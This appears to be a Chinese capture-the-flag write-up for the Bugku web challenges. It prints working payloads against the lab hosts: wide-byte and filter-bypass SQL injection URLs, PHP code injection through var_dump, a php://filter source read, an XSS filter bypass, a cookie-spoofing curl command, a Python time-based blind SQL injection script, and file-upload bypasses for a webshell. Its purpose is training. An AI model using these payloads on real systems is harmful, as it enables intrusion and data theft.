2.文件上传测试
上面说请上传php文件,于是进行尝试
显示非图片文件。
于是尝试上传.jpg文件
很明白了,是一个上传绕过题。
进行00截断
选中%00
选择url-decode发送
成功get flag
3.计算题
再输入框中输入结果发现只能输入一个字符,说明长度被限制了
F12修改长度 输入结果提交 get flag
4.web3
一开始出现个弹窗,点击确定还是不断弹窗,于是禁止弹窗,查看页面源代码发现最后一行是个unicode编码直接在线解码就OK了
5.sql注入
练习手工注入吧
常规判断加 ' 号结果发现并没有报错,似乎是 ' 号被转义了尝试 宽字符注入 ?id=1%df' OK成功报错
接下来就是常规手段了
http://103.238.227.13:10083/index.php?id=1%df' order by 3 %23 发现报错
http://103.238.227.13:10083/index.php?id=1%df' union select 1,2 %23 回显
暴库
http://103.238.227.13:10083/index.php?id=1%df' union select 1,database() %23
直接注入,搜索sql5.key中的字符串
http://103.238.227.13:10083/index.php?id=1%df' union select 1,string from sql5.key where 1=1 %23
6.sql注入1
代码审计 发现所有注入关键词被过滤 但是发现这个语句
于是我们可以利用<>标签对关键词进行分割
老方法
http://103.238.227.13:10087/index.php?id=1 un<>ion se<>lect 1,2%23
暴库
http://103.238.227.13:10087/index.php?id=1 un<>ion se<>lect 1,database()%23
暴字段,,,,中间过程就不再叙述了
http://103.238.227.13:10087/index.php?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23
7.你必须让他停下
打开页面不停刷新,没办法用bp拦截吧
抓包repeater 不停点go 多刷几次就出来了
8.本地包含
这道题让我们传参 hello 然后用var_dump($a)函数输出变量的值
好吧 我们传递参数闭合var_dump(
payload:
http://baohan.post.bugku.com/index.php?hello=);show_source("flag.php");//
另外几种方法
http://baohan.post.bugku.com/index.php?hello=);print_r(file("./flag.php"));//
http://baohan.post.bugku.com/index.php?hello=);var_dump(file("./flag.php")); //
9.变量1
GLOBAL真是个好东西
payload:?args=GLOBAL
10.Web4
这道题考察js,这堆东西一看就是urlencode,解码之后得到
<script>
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));
</script>
拼凑一下67d709b2b54aa2aa648cf6e87a7114f1输入进去就能get flag
11.web5
打开源码一看就是JSFUCK
丢到控制台里报一下就出结果了
12.flag在index里
http://b.post.bugku.com/post/index.php?file=show.php
一看这个连接就没啥可以多想的了 直接读取源码
payload:
http://b.post.bugku.com/post/ind ... /resource=index.php
得到base64加密后的index.php源码 (因为题目提示在index中所以这样构造)
对base64解密即可获得flag
13.phpcms v9漏洞
论坛里有exp工具 也有大佬写出的wp自行查看就好了
14.Web6
速度要快 写个py吧
代码如下
# coding:utf-8
import requests
import base64
import re
url='http://c.bugku.com/web6/'
a=requests.session()
r=a.get(url)
FLAG=r.headers['flag']
p=re.match('(.*)(: )(.*)',base64.b64decode(FLAG))
payload={'margin':base64.b64decode(p.group(3))}
r=a.post(url,data=payload)
print(r.text)
15.cookies欺骗
http://c.bugku.com/web11/index.php?line=&filename=a2V5cy50eHQ=
首先看到filename=base64加密 对base64解密 发现是 key.txt 明白filename 可以进行读文件 将页面源码读出
line是行 filename是文件名 源码如下:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
这里发现只要cookie设置为margin就可以进入 于是利用curl 命令进行cookie、欺骗
curl -b curl -b 'margin=margin' 'http://c.bugku.com/web11/index.php?line=0&filename=a2V5cy5waHA='
16.xss
题目上说是xss注入于是简单的xss测试下吧
构造payload:
http://103.238.227.13:10089/?id=<script>alert(_key_);</script>
发现没有弹窗
看看源代码
发现<>被过滤了
于是想用 onclick绕过 结果发现 on这个被过滤成 o_n了 很尴尬 于是进行编码绕过
payload:\u003cimg src=1 onerror=alert(_key_)\u003e
17.各种绕过呦
代码审计 传三个参数 两个get传参 一个post传参
发先uname!=passwd 但是sha1(uname)===sh1(passwd)
注意中间是等价于 于是利用sha1漏洞
sha1函数无法理解数组从而报错返回FALSE
构造Payload
18.web8
代码审计 好吧 php 黑魔法 php://input可以读取没有处理过的POST数据
成功绕过
19.字符?正则?
好吧一个简单的正则表达式
http://c.bugku.com/web10/?id=key1key1232131key:/1/aakeye]随便就过啦
20.考细心
刚刚打开还以为服务器错误 结果发现就是这样的 尴尬了。。。
页面上没啥信息源代码也没啥信心 好吧 看看能不能robots.txt到信息
中奖了 访问这个页面要提交参数等密码 提交什么呢 看看提示 变成admin 好吧 就这样过了
21.web15
看代码 xff厉害了 根据以前的经验判断这个点可能是个时间注入 写个py吧 感谢表弟 GHost-tty给我的PY以下就出来了 能手工的话最好手工练习以下注入 这里就不多说啦 PY如下
import requests
import string
import time
payload = string.printable
url = "http://c.bugku.com/web15/index.php"
flag = ""
for i in range(50):
for str in payload:
headers={"x-forwarded-for":"127.0.0.1'+"+"(select case when (binary(substring((select flag from flag) from %d for 1 ))='%s') then sleep(6) else sleep(0) end ) and '1'='1"%(i+1,str)}
start_time = time.time()
res = requests.get(url,headers=headers)
if time.time()-start_time>5:
if time.time()-start_time>5:
flag = flag+str
print flag
break
22.sql注入2
啊哈 这道题可把我坑惨了 说是sql注入 说是过滤了很多东西 搞得我绞尽脑汁 都没想出来如何绕过 PS:也可能是我太菜了
是在做不出来了 没办法 用工具扫了下目录结果 发现 http://a.sql.bugku.com/web2/flag 这个链接 访问一下直接下载了个flag.txt
简直要暴打出题人了有没有
23. 求getshell
这道题是做出来了 但是是找表哥要的源码代码审计出来的 很尴尬也不知道正常情况下是怎么样的思路过这道题
解法给大家 其他就不多说了
上传PHP5文件 用bp拦截
第一处把后面data大写
第二处改为image/jpg
然后go 就OK了
小白写的wp 求大佬无视
created by Daybreak